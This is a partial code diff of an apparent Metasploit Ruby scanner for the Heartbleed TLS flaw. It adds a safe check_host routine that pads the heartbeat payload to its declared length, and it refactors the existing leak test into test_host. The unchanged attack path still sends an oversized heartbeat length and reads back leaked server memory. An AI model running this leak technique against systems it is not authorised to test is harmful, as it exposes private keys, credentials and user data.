@@ -226,7 +226,18 @@ def tls_ftp
226
226
res
227
227
end
228
228
229
- def run_host ( ip )
229
+ def check_host ( ip )
230
+ # TODO: this number can be lower
231
+ heartbeat_data = test_host ( ip , 5000 )
232
+
233
+ if heartbeat_data
234
+ return Exploit ::CheckCode ::Appears
235
+ end
236
+
237
+ Exploit ::CheckCode ::Safe
238
+ end
239
+
240
+ def test_host ( ip , length = heartbeat_length )
230
241
connect
231
242
232
243
unless datastore [ 'STARTTLS' ] == 'None'
@@ -248,7 +259,7 @@ def run_host(ip)
248
259
end
249
260
250
261
vprint_status ( "#{ peer } - Sending Heartbeat..." )
251
- sock . put ( heartbeat ( heartbeat_length ) )
262
+ sock . put ( heartbeat ( length ) )
252
263
hdr = sock . get_once ( 5 )
253
264
if hdr . blank?
254
265
vprint_error ( "#{ peer } - No Heartbeat response..." )
@@ -284,7 +295,12 @@ def run_host(ip)
284
295
end
285
296
286
297
vprint_status ( "#{ peer } - Heartbeat response, checking if there is data leaked..." )
287
- heartbeat_data = sock . get_once ( heartbeat_length ) # Read the magic length...
298
+ sock . get_once ( length ) # Read the magic length...
299
+ end
300
+
301
+ def run_host ( ip )
302
+ heartbeat_data = test_host ( ip )
303
+
288
304
if heartbeat_data
289
305
print_good ( "#{ peer } - Heartbeat response with leak" )
290
306
report_vuln ( {
@@ -321,6 +337,11 @@ def heartbeat(length)
321
337
payload = "\x01 " # Heartbeat Message Type: Request (1)
322
338
payload << [ length ] . pack ( "n" ) # Payload Length: 65535
323
339
340
+ # handle safe detection
341
+ if length != heartbeat_length
342
+ payload << Array . new ( length , 1 ) . pack ( "C*" ) # Dummy values
343
+ end
344
+
324
345
ssl_record ( HEARTBEAT_RECORD_TYPE , payload )
325
346
end
326
347
0 commit comments